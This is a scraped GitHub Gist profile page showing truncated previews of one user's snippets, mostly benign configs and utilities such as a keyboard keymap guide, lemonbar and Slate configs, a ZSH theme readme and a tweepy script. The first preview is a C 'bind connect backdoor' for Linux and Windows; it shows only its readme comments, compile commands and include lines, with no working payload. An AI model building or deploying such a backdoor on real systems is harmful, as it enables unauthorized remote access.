Skip to content

Instantly share code, notes, and snippets.

View b4dtR1p's full-sized avatar
💀
I may be slow to respond.

b4d_tR1p b4dtR1p

💀
I may be slow to respond.
View GitHub Profile
@b4dtR1p
b4dtR1p / bd.c
Created May 18, 2016 21:20
backdoor written in C working on Windows and Unix
// % cat readme
// Linux and Windows Bind connect Backdoor
// (Dev) -> b4d_tR1p
// linux: gcc bind.c -o bind -Wall --> without any error output c;
// windows: gcc.exe "C:/bind.c" -o "C:/bind.exe" -lws2_32 --> dont forget of '-lws2_32'
// ᕙ༼ຈل͜ຈ༽ᕗ
#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")

This is a quick guide to changing the keymap on the GH60 "Satan" or RevCHN. Note that the Satan is NOT a true GH60, and using the GH60 with the normal TMK would not work.

Note that installing dependencies or compiling TMK is not a part of the scope of this document. If you have problems with this part, seek help elsewhere. Not also that these instructions are written for Linux and Mac. If you're using windows, just use the Command Prompt for the git commands, and Windows Explorer to move and delete files.

  1. Dependencies.
  2. Download and install GIT: https://git-scm.com/downloads
  3. Download and install the dependencies for compiling TMK: https://github.com/tmk/tmk_keyboard/blob/core/doc/build.md (Point 1 only)
  4. Using git, download the TKG toolkit. https://github.com/kairyu/tkg-toolkit git clone [email protected]:kairyu/tkg-toolkit.git tkg
  5. Still using git, download Kairyu's fork of TMK. https://github.com/kairyu/tmk_keyboard_custom [email protected]:kairyu/tmk_keyboard_custom.git tmk
#!/usr/bin/python3
import csv
import tkinter
from tkinter.filedialog import askopenfilename
A = ''
B = ''
def close_window(): # destroying the main window
root.destroy()
@namespace html url(http://www.w3.org/1999/xhtml);
@namespace xul url(http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul);
/*
Author: Twily
Description: Minimal flat styled tabs for Australis
Compitability: Firefox Nightly v31.0a1 - v32.0a1 (Australis)
CSS Variables were introduced to Firefox in v29.0a1
Website: http://twily.info/
@b4dtR1p
b4dtR1p / bar
Created December 4, 2015 15:01
lemonbar config
#!/bin/bash
# SETTINGS
FONT="-shdw-candy-*-*-*--11-*-*-*-*-*-*-*"
RES="1366x14"
BG="#080608"
FG="#E8EAEC"
BLK="#525252"
RED="#A35656"
GRN="#A3A356"
@b4dtR1p
b4dtR1p / .slate.js
Created November 28, 2015 22:50 — forked from leb2/.slate.js
My Slate Config
var MARGIN = 28;
// Fullscreen
slate.bind('f:cmd,alt', function(win) {
// ±4 to account for hidden Dock on left of screen.
win.doOperation(S.op('move', {
'x': 'screenOriginX - 4 + ' + MARGIN,
'y': 'screenOriginY + ' + MARGIN,
@b4dtR1p
b4dtR1p / .gitignore
Created October 14, 2015 20:15 — forked from octocat/.gitignore
Some common .gitignore configurations
# Compiled source #
###################
*.com
*.class
*.dll
*.exe
*.o
*.so
# Packages #
@b4dtR1p
b4dtR1p / README.md
Created October 9, 2015 09:28 — forked from agnoster/README.md
My ZSH Theme

agnoster.zsh-theme

A ZSH theme optimized for people who use:

  • Solarized
  • Git
  • Unicode-compatible fonts and terminals (I use iTerm2 + Menlo)

For Mac users, I highly recommend iTerm 2 + Solarized Dark

import mechanize
import os
def find_recursively(starturl):
br = mechanize.Browser()
br.open(starturl)
links = br.links()
for a in links:
print "TEXT: "+a.text
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import tweepy
CONSUMER_KEY = ''
CONSUMER_SECRET = ''
ACCESS_KEY = ''
ACCESS_SECRET = ''